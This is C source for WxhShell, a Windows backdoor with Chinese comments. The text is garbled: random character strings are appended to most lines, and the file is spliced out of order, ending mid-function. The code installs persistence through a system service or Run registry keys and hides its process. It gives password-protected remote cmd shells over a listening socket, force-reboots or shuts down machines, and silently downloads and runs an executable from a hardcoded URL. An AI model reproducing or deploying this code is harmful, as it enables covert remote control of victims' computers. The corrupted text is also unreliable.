    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .)tv'V/  
    if(Boot(SHUTDOWN)) 0f@+o}i=)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uY5|Nmiu  
    else { JK! (\Ae.  
    closesocket(wsh); !)]/?&uo  
    ExitThread(0); n#P>E( K  
    } 9)VAEyv  
    break; a/V,iCiH  
    } hi"C<b.  
  // 获取shell 6$b =Tr=0  
  case 's': { ;U(]#pW!t  
    CmdShell(wsh); $4{sP Hi)I  
    closesocket(wsh); m \)B=H!bz  
    ExitThread(0); xrg"/?84  
    break; eke[{%L  
  } + +L7*1t  
  // 退出 i6#*y!3{  
  case 'x': { SMZ*30i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p:xyy*I  
    CloseIt(wsh); Tksv7*5$  
    break; ZH Q?{"  
    } ')q0VaohC  
  // 离开 NZ1B#PG,c  
  case 'q': { xQ"uC!Gu4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q1VKoKb6\:  
    closesocket(wsh); T ~xVHk1  
    WSACleanup(); (u 7Lh>6%  
    exit(1); 6y^ zC?  
    break; \Eh5g/,[  
        } +ay C 0  
  } LaJvPOQ  
  } J&aN6l?  
$]|3^(y``  
  // 提示信息 gCg hWg{S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]H/,Q6Q  
} pb97S^K[  
  } UCVYO. 9"  
)xcjQkb  
  return; VZqCFE3  
} &4OJJ9S  
Ar>B_*dr  
// shell模块句柄 )|=1;L  
int CmdShell(SOCKET sock) V(TtOuv  
{ I">">  
STARTUPINFO si; xo@1((|z  
ZeroMemory(&si,sizeof(si)); hF-QbO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KiXfR\S~C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4 ?BQ&d  
PROCESS_INFORMATION ProcessInfo; e`0C0GaP  
char cmdline[]="cmd"; ->I.D?p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FsqH:I4O  
  return 0; 5X^\AW  
} oZ2:%  
NV./p`k  
// 自身启动模式 (A?>U_@  
int StartFromService(void) YW7w>}aW  
{ % f;v$rsZ  
typedef struct HB )+.e  
{ "[ S[vkI  
  DWORD ExitStatus; x;W!sO@$  
  DWORD PebBaseAddress; qXtC7uNj$  
  DWORD AffinityMask; cpk\;1&t  
  DWORD BasePriority; =Z.0-C>W  
  ULONG UniqueProcessId; Sd6O?&(  
  ULONG InheritedFromUniqueProcessId; 7Q!ksp  
}   PROCESS_BASIC_INFORMATION; [7><^?t V  
,It0brF  
PROCNTQSIP NtQueryInformationProcess; .M:&Aj)x16  
 (7X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QI[WXx p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uT]$R  
Pjh;;k|V  
  HANDLE             hProcess; BZ\="N#f  
  PROCESS_BASIC_INFORMATION pbi; KOg,V_(I  
o135Xh$_>'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i5r<CxS  
  if(NULL == hInst ) return 0; \Hb!<mrp  
{U-z(0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /cClV"S*G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T4W20dxL7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6OE xAn8  
CY?J$sN  
  if (!NtQueryInformationProcess) return 0; EC\@$Fg  
$x }R2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); { 5r]G  
  if(!hProcess) return 0; /'8%=$2Kw  
/[ m7~B]QE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qD%88c)g  
xlZh(pf  
  CloseHandle(hProcess); J-+mdA  
Dh^l :q+c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7y^)n<'co  
if(hProcess==NULL) return 0; npeL1zO-$  
O$z"`'&j#  
HMODULE hMod; -)%\$z  
char procName[255]; $/^Y(0  
unsigned long cbNeeded; 3q4VH q  
48,*sTRq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O=}w1]  
D;JZ0."  
  CloseHandle(hProcess); kQU4s)J  
A23K!a2u&  
if(strstr(procName,"services")) return 1; // 以服务启动 w5q6c%VZ  
skeeec\V  
  return 0; // 注册表启动 MNU7OX<  
} pej-W/R&  
P [aE3Felk  
// 主模块 '[6]W)f  
int StartWxhshell(LPSTR lpCmdLine) h<3bv&oI .  
{ Rm3W&hQ  
  SOCKET wsl; zecM|S_  
BOOL val=TRUE; YQ+8lANC  
  int port=0; X%-"b`  
  struct sockaddr_in door; 7Vf XE/  
H`<u2fo|p  
  if(wscfg.ws_autoins) Install(); 4+qo=i  
/7B3z}rd  
port=atoi(lpCmdLine); R[F`b  
H5]q*D2  
if(port<=0) port=wscfg.ws_port; .+2:~%v6  
4grV2xtX  
  WSADATA data; %^W(sB$b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \aSc2Ml]3n  
6!)hl"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $ ^)g,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0R unex[  
  door.sin_family = AF_INET; atZNX1LD[/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h_X'O3r  
  door.sin_port = htons(port); no\G >#  
1V5N)ty  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [*K9V/  
closesocket(wsl); y=8KNseW|  
return 1; gs}&a3d7k  
} ?b d&Av  
#U'}g *  
  if(listen(wsl,2) == INVALID_SOCKET) { H^*[TX=#[  
closesocket(wsl); CWZv/>,%  
return 1; Z3zD4-p$_  
} LP7jCt  
  Wxhshell(wsl); =WF@S1  
  WSACleanup(); `?&C5*P  
w)go79  
return 0; c9gm%  
s'/_0  
} ;U0w<>4L  
J}Z\I Y,  
// 以NT服务方式启动 uYFy4E3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y)8 Py1}  
{ XR=ebl  
DWORD   status = 0; b7'A5]X  
  DWORD   specificError = 0xfffffff; cooicKS7  
*W=1yPP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qt"jU+Zoy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ko!]vHB9`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fZs}u<3Q)  
  serviceStatus.dwWin32ExitCode     = 0; Ai%Wt-  
  serviceStatus.dwServiceSpecificExitCode = 0; ! .Pbbs%  
  serviceStatus.dwCheckPoint       = 0; H5vg s2R  
  serviceStatus.dwWaitHint       = 0; 1.2qh"#  
sNG 7fi.|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O?#<kmd/)  
  if (hServiceStatusHandle==0) return; =585TR; V  
4D.h~X4  
status = GetLastError(); % T$!I(L&  
  if (status!=NO_ERROR) *ax&}AHK[/  
{ L$Xkx03lz>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }lkU3Pf1U  
    serviceStatus.dwCheckPoint       = 0; A;xH{vo{  
    serviceStatus.dwWaitHint       = 0; s z7<u|  
    serviceStatus.dwWin32ExitCode     = status; {Y+e|B0  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4\U"e*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9nd,8Nji  
    return; ?S)Pv53>}  
  } 4fL>Ou[YuX  
\J~@r1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7CU<R9Kl  
  serviceStatus.dwCheckPoint       = 0; 6C_H0a/h&  
  serviceStatus.dwWaitHint       = 0; j%S} T)pX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mg3YKHNG  
} o -x=/b  
MA=gCG/JD  
// 处理NT服务事件,比如:启动、停止 H8Ra!FW@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ],<pZ1V;  
{ {- &wV  
switch(fdwControl) Np opg1Gv>  
{ z9Y}[ pN  
case SERVICE_CONTROL_STOP: :2t?0YR  
  serviceStatus.dwWin32ExitCode = 0; :y~l?0b&8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WD8F]+2O\  
  serviceStatus.dwCheckPoint   = 0; jTsQsHq   
  serviceStatus.dwWaitHint     = 0; Urm(A9|N  
  { RLVz"=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +nFC&~q  
  } of_Om$  
  return; E_xCRfw_i]  
case SERVICE_CONTROL_PAUSE: AhV V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P#KT lH  
  break; mnYzn[d3U  
case SERVICE_CONTROL_CONTINUE: c=B!\J<1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }1Hy[4B(k\  
  break;  ~Ctq  
case SERVICE_CONTROL_INTERROGATE: I~M@v59C  
  break; F{17K$y  
}; X5)].[d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yEL5U{  
} @vi;P ^1!  
t] G hONN  
// 标准应用程序主函数 bmRp)CYd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XJ1<!tl  
{ Vg`32nRN  
yD^Q&1  
// 获取操作系统版本 c_6~zb?k+m  
OsIsNt=GetOsVer(); QlnI&o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $=!_ !tr  
OLJ|gunA#  
  // 从命令行安装 H1ox>sC  
  if(strpbrk(lpCmdLine,"iI")) Install(); vcp[$-$QGJ  
G $iC@,/  
  // 下载执行文件 V(!-xu1,  
if(wscfg.ws_downexe) { )K 0rPnYV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8{%[|Ye  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?h-:,icR  
} ;0 9~#Wop  
D14i]  
if(!OsIsNt) { qAVZ&:#  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z&Z= 24q_  
HideProc(); N9AM% H$7  
StartWxhshell(lpCmdLine); s+ ]6X*)  
} HqKD]1  
else tc<HA7vpt~  
  if(StartFromService()) )cRP6 =  
  // 以服务方式启动 1NU@k6UHl  
  StartServiceCtrlDispatcher(DispatchTable); {r[g.@  
else li)shp)  
  // 普通方式启动 :}~B;s0M\  
  StartWxhshell(lpCmdLine); [G}l;  
D]5cijO6  
return 0; R|t.J oP9  
} #7,;/rtO7  
8CGjI?j  
|D[4 G6&  
@O&;%IZMY  
=========================================== G+W0X  
"D/\&1.&  
sxn^1|O;m  
/c52w"WW  
{b]V e/\  
l 1Ns~  
" af;~<o a  
y(Ck j"  
#include <stdio.h> p V`)  
#include <string.h> %b3s|o3An  
#include <windows.h> JQ"w{O  
#include <winsock2.h> )p+6yH  
#include <winsvc.h> \m3ca-Y  
#include <urlmon.h> 0r'<aA`=I  
aiwKkf`\  
#pragma comment (lib, "Ws2_32.lib") J4^aD;j  
#pragma comment (lib, "urlmon.lib") ]w9\q*S]  
8al%F_r]  
#define MAX_USER   100 // 最大客户端连接数 0X4%Ccs  
#define BUF_SOCK   200 // sock buffer A@#D_[~  
#define KEY_BUFF   255 // 输入 buffer nG !6[^D  
}SBpc{ch  
#define REBOOT     0   // 重启 ^@n?&  
#define SHUTDOWN   1   // 关机 o" e]9{+<  
x`gsD3C  
#define DEF_PORT   5000 // 监听端口 fg0zD:@rA  
)2y# cM*  
#define REG_LEN     16   // 注册表键长度 xe!6Pgcb  
#define SVC_LEN     80   // NT服务名长度 C.q4rr  
.Fn7yTQ%  
// 从dll定义API ;UDd4@3`S"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KMogwulG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {Z{!tR?+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~jn~M_}K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4ROuy+Ms'  
Q\[2BJo/  
// wxhshell配置信息 2<8JY4]!]  
struct WSCFG { ' lMPI@C6r  
  int ws_port;         // 监听端口 `\5u/i'Ca!  
  char ws_passstr[REG_LEN]; // 口令 ?*2Uw{~}  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6-h(305A  
  char ws_regname[REG_LEN]; // 注册表键名 +{pS2I}d  
  char ws_svcname[REG_LEN]; // 服务名 A1V^Gi@i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {S5H H"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `KUl XS(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1|/]bffg!c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iF'qaqHWY4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !1cVg ls|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "kg;fF|  
`78)|a*R.  
}; [5sa1$n96G  
s'yT}XQ;r  
// default Wxhshell configuration b1ma(8{{{  
struct WSCFG wscfg={DEF_PORT, qD<\U  
    "xuhuanlingzhe", wj#A#[e  
    1, S[5e,E w  
    "Wxhshell", `hE@S |4  
    "Wxhshell", pLea 4  
            "WxhShell Service", Z@{e\sZ)  
    "Wrsky Windows CmdShell Service", d\A!5/LG  
    "Please Input Your Password: ", 2qxede  
  1, {m7>9{`  
  "http://www.wrsky.com/wxhshell.exe", "`&1"*  
  "Wxhshell.exe" 9s@$P7N5B  
    }; 78-D/WY/X  
6y+}=)J  
// 消息定义模块 EQ> ]~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eY#_!{*Wn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X6<%SJC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (,!G$~Sy  
char *msg_ws_ext="\n\rExit."; vv5 uU8  
char *msg_ws_end="\n\rQuit."; OX[pK_:`l  
char *msg_ws_boot="\n\rReboot..."; $~FnBD%|{  
char *msg_ws_poff="\n\rShutdown..."; 0s'H(qE,_  
char *msg_ws_down="\n\rSave to "; ( !=^(Nd  
z}&JapJ  
char *msg_ws_err="\n\rErr!"; MclW!CmJ  
char *msg_ws_ok="\n\rOK!"; rwSmdJ~  
h k.Zn.6A'  
char ExeFile[MAX_PATH]; |;k@Zlvc  
int nUser = 0; oZSPdk  
HANDLE handles[MAX_USER]; a1yGgT a?D  
int OsIsNt; yTwtGo&  
8-cCWo c  
SERVICE_STATUS       serviceStatus; 1NQstmd{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r}Ec_0_lt  
1DT}_0{0Q  
// 函数声明 I` +%ab  
int Install(void); 9E-]S'Z  
int Uninstall(void); z6>Rv9f  
int DownloadFile(char *sURL, SOCKET wsh); rVF7!|&  
int Boot(int flag); 0` \!O(jJ  
void HideProc(void); %e|.a)78  
int GetOsVer(void); 0JS#{EDh+  
int Wxhshell(SOCKET wsl); 1K&l}/zUl  
void TalkWithClient(void *cs); b]cnTR2E  
int CmdShell(SOCKET sock); Z/~7N9?m(  
int StartFromService(void); cH>3|B*y  
int StartWxhshell(LPSTR lpCmdLine); YR/%0^M'0  
6h%_\I.Z[[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +o[- ED  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bq4^nDK  
g886RhCe  
// 数据结构和表定义 I("lGY  
SERVICE_TABLE_ENTRY DispatchTable[] = g ;To}0H  
{ j'M=+  
{wscfg.ws_svcname, NTServiceMain}, Ia!B8$$'RP  
{NULL, NULL} ywj'S7~A  
}; \mGo k<b4  
5,Hj$v7fe  
// 自我安装 >IFqwh7b  
int Install(void) :7Jpt3  
{ D,sb {N  
  char svExeFile[MAX_PATH]; kK&M>)&o#  
  HKEY key; "-afHXED  
  strcpy(svExeFile,ExeFile); (HD8Mm  
uXkc07 r'  
// 如果是win9x系统,修改注册表设为自启动 .Mb<.R3  
if(!OsIsNt) { 3tu:Vc.:M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V~! lY\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6<qVeO&uZ  
  RegCloseKey(key); 9XEP:}5,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bji^b@ us_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  A4  
  RegCloseKey(key); $-ICTp  
  return 0; [JyhzYf\   
    } o~J~-$T{  
  } v| Yh]y  
} {Ne5*HFV  
else { _(1Shm  
HBp$   
// 如果是NT以上系统,安装为系统服务 <7 R+p;y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ayK?\srw  
if (schSCManager!=0) 9_ru*j\  
{ !)-)*T  
  SC_HANDLE schService = CreateService g;mX{p_@  
  ( A8oTcX_  
  schSCManager, f<;w1sM\  
  wscfg.ws_svcname, -lqsFaW  
  wscfg.ws_svcdisp, {;-wXzv`  
  SERVICE_ALL_ACCESS, >^N{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rGIf/=G^r  
  SERVICE_AUTO_START, $z48~nu@ j  
  SERVICE_ERROR_NORMAL, TkyP_*  
  svExeFile, XSoHh-  
  NULL, Kd;Iu\4hv  
  NULL, Iy8fN"I9D  
  NULL, N.D7  
  NULL, QpI\\Zt6  
  NULL lV M )'m  
  ); ONU,R\jMb-  
  if (schService!=0) qayM 0i>>  
  { 7I4<Dj  
  CloseServiceHandle(schService); o>i@2_r\&H  
  CloseServiceHandle(schSCManager);  TnXx;v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (mOL<h[)IP  
  strcat(svExeFile,wscfg.ws_svcname); rJ=r_v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +L U.QI'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -Wm'@4bH  
  RegCloseKey(key); lv!8)GX|  
  return 0; 3)0z(30  
    } gUWW}*\ U  
  } E - +t[W  
  CloseServiceHandle(schSCManager); (\$=de>?  
} =;A >1g$  
} oo-O>M#5  
KJP}0|[  
return 1; qLWM,[Og  
} 6QM$aLLP?  
dng^#|X)?  
// 自我卸载 >i!y[F  
int Uninstall(void) CAa&,ZR  
{ PP&9ORG  
  HKEY key; [x8_ax} w  
$eiW2@  
if(!OsIsNt) { yE{\]j| Zf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [!ilcHE)  
  RegDeleteValue(key,wscfg.ws_regname); A~M.v0  
  RegCloseKey(key); Ny` =]BA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1EAQ ~S!2  
  RegDeleteValue(key,wscfg.ws_regname); tV"Jh>Z  
  RegCloseKey(key); ?XllPnuKt%  
  return 0; M.3ULt8  
  } JA2oy09G  
} O<()T6  
} \&\U&^?  
else { D5"Xjo*  
MN^d28^/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m(KBg'kQ  
if (schSCManager!=0) 4Is Wp!`W  
{ 9}A\Bh tiM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l8H8c &  
  if (schService!=0) +%=lu14G  
  { MWq1 "c  
  if(DeleteService(schService)!=0) { ":!1gC  
  CloseServiceHandle(schService); XImX1GH  
  CloseServiceHandle(schSCManager); a^g}Z7D'T  
  return 0; 'y&DOy/|  
  } ~c`%k>$  
  CloseServiceHandle(schService); eZ8DW6l*  
  } ^TEFKx}PX  
  CloseServiceHandle(schSCManager); szUJh9-  
} I3;03X<2  
} LbUH`0:%t  
p`)Mk<`dYD  
return 1; C 8KV<k  
}  {HbSty  
pmc)$3u  
// 从指定url下载文件 ib%'{?Q.  
int DownloadFile(char *sURL, SOCKET wsh) k2/t~|5  
{ h{ T{3  
  HRESULT hr; Vl/fkd,Z  
char seps[]= "/"; 3FG'A[x3O  
char *token; hdDL92JVg  
char *file; )(+q~KA}  
char myURL[MAX_PATH]; _sAcvKH  
char myFILE[MAX_PATH]; Zx Ak  
_[h!r;DsG  
strcpy(myURL,sURL); t~%(Zu>S  
  token=strtok(myURL,seps); q}gM2Ia'vY  
  while(token!=NULL) L~("C  
  { M'nzoRk  
    file=token; %$'Z"njO&  
  token=strtok(NULL,seps); E<'V6T9bi  
  } 5}TTf2&Xo#  
"Pl.G[Buc-  
GetCurrentDirectory(MAX_PATH,myFILE); PIHKSAnq  
strcat(myFILE, "\\"); ?tkl cYB  
strcat(myFILE, file); a7sX*5t{R  
  send(wsh,myFILE,strlen(myFILE),0); yG2rAG_ G&  
send(wsh,"...",3,0);  6apK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wufQyT`  
  if(hr==S_OK) S;j"@'gz9  
return 0; Ui'*$W]v  
else ?OFfU  4  
return 1; Y^b}~t  
|]eWO#vs  
} >{[  
 Y-+JDrK  
// 系统电源模块 l p|`n  
int Boot(int flag) qNWSDZQ  
{ 5a|{ytP   
  HANDLE hToken; S5\KI+;PW  
  TOKEN_PRIVILEGES tkp; DD}YbuO7  
#xw3a<z?u  
  if(OsIsNt) { {7Hc00FM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <07]w$m/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Mtc  -  
    tkp.PrivilegeCount = 1; ]fSpG\yU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e_}tK1XY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |3BxNFe`%  
if(flag==REBOOT) { xAr&sGMA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LtGjHB\+  
  return 0; O-!Q~;3][  
} W9;9\k  
else { X/h|;C* 9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MS\?+8|SV(  
  return 0; Ec&_&  
} Z+_xX  
  } Y+eDE:4  
  else { |3g'~E?$  
if(flag==REBOOT) { %$N,6}n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?3gf)g=  
  return 0; erOj(ce  
} y"k %Wa`*  
else { yIg^iZD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G +AP."M?  
  return 0; 4m6/ ba  
} =s9*=5r8  
} UkcH+0o  
\f7R^;`_<R  
return 1; T(Ji%S >  
} x,HD,VQR/  
55/)2B2J  
// win9x进程隐藏模块 KE-0/m4yJ  
void HideProc(void) )hC3'B/[Y  
{ & jm1  
mV+9*or  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lUdk^7:M  
  if ( hKernel != NULL ) tT+W>oA/M  
  { ^%0^DN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VO~%O.>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *y', eB  
    FreeLibrary(hKernel); $,0EV9+af  
  } $xis4/2  
.)<l69ZD Z  
return; $4Dr +Z H  
} 3R)|DGql=1  
! F<::fN  
// 获取操作系统版本 7g:Lj,Z4L  
int GetOsVer(void) -@@ O<M^  
{ #Z,@yJ2wl  
  OSVERSIONINFO winfo; 1jE {]/Y7&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OI kjO}/7  
  GetVersionEx(&winfo); K"ly\$F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @>&b&uj7T  
  return 1; /qFY $vj  
  else = ?BhtW  
  return 0; 6 X'#F,M  
} ">Ms V/  
t{,e{oZx  
// 客户端句柄模块 !?lvmq  
int Wxhshell(SOCKET wsl) J:OP*/@='  
{ )G-u;1rd  
  SOCKET wsh; Wiw~oXo  
  struct sockaddr_in client; >!%+9@a}  
  DWORD myID; 6n~)R  
Q(O0z3b  
  while(nUser<MAX_USER) Tp.:2[  
{ _# cM vl k  
  int nSize=sizeof(client); KD]`pqN9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U;0:@.q  
  if(wsh==INVALID_SOCKET) return 1; db@^CS[P  
0O>M/ *W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QEMT'Cs  
if(handles[nUser]==0) *j=58d`n  
  closesocket(wsh); Ti7 @{7>  
else PPh<9$1\g  
  nUser++; =RZ PDu  
  } ZXXJ!9-&+J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]Inu'p\  
ryqu2>(   
  return 0; qJ2Z5  
} X_!km-{  
M+%qVwp  
// 关闭 socket x U"g~hT  
void CloseIt(SOCKET wsh) Pz\ByD  
{ 4iZg2"[D  
closesocket(wsh); u6%\ZK._ \  
nUser--; )&Z`SaoP|J  
ExitThread(0); I8c:U2D  
} `\'V]9wS  
PHJHW#sv  
// 客户端请求句柄 OUFy=5(%:  
void TalkWithClient(void *cs) G6l C[eK  
{ Xk1uCVUe5  
 \< dg  
  SOCKET wsh=(SOCKET)cs; "zkQu  
  char pwd[SVC_LEN]; YV} "#  
  char cmd[KEY_BUFF]; r4<As`&  
char chr[1]; !b&+2y2i[W  
int i,j; ,*YmXR-"  
H@9QEj!Y  
  while (nUser < MAX_USER) { u,{R,hTDS  
4S4gK   
if(wscfg.ws_passstr) { pjQyN|KS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1yqsE`4f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TL)7X.1'L  
  //ZeroMemory(pwd,KEY_BUFF); k~3\0man  
      i=0; %yd(=%)fMB  
  while(i<SVC_LEN) { l<+PA$+}}  
Uq`6VpZ  
  // 设置超时 FnI}N;"  
  fd_set FdRead; #)@#Qd  
  struct timeval TimeOut; e\^}PU  
  FD_ZERO(&FdRead); G!wb|-4<$  
  FD_SET(wsh,&FdRead); 0-;>O|U3  
  TimeOut.tv_sec=8; =vvd)og  
  TimeOut.tv_usec=0; lrL:G[rt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Dr[;\/|#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a)c;z@r  
5#s],h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^q#[oO  
  pwd=chr[0]; 2,^ > lY  
  if(chr[0]==0xd || chr[0]==0xa) { U_;="y  
  pwd=0; -7'|&zP  
  break; bfm+!9=9S  
  } cB36w$n8  
  i++; "K$c9Z8  
    } &[ ],rT  
qL`yaU  
  // 如果是非法用户,关闭 socket uA;#*eiA/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '[HQ}Wvn  
} >`/s+V  
cvE)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kjB'W zZ8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qe-Pg^PS]  
D~Ef%!&  
while(1) { d{t@+}0.u  
pzoh9}bue  
  ZeroMemory(cmd,KEY_BUFF); ]9)iBvQlj  
'Bxj(LaV-  
      // 自动支持客户端 telnet标准   0 f$96sl  
  j=0; G 9 (*F  
  while(j<KEY_BUFF) { JtsXMZz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R4P&r=?  
  cmd[j]=chr[0]; >)G[ww[  
  if(chr[0]==0xa || chr[0]==0xd) { Yl lZ5<}  
  cmd[j]=0; MkjB4:"  
  break; "'@D\e}  
  } <SQR";  
  j++;  "\T-r2  
    } RgJbM\`} ?  
q5JQx**g  
  // 下载文件 ^suQ7#g  
  if(strstr(cmd,"http://")) { "I:*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^IyQzBOj  
  if(DownloadFile(cmd,wsh)) .'Q*_};W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6xwjKh:9  
  else mpCu,l+lo  
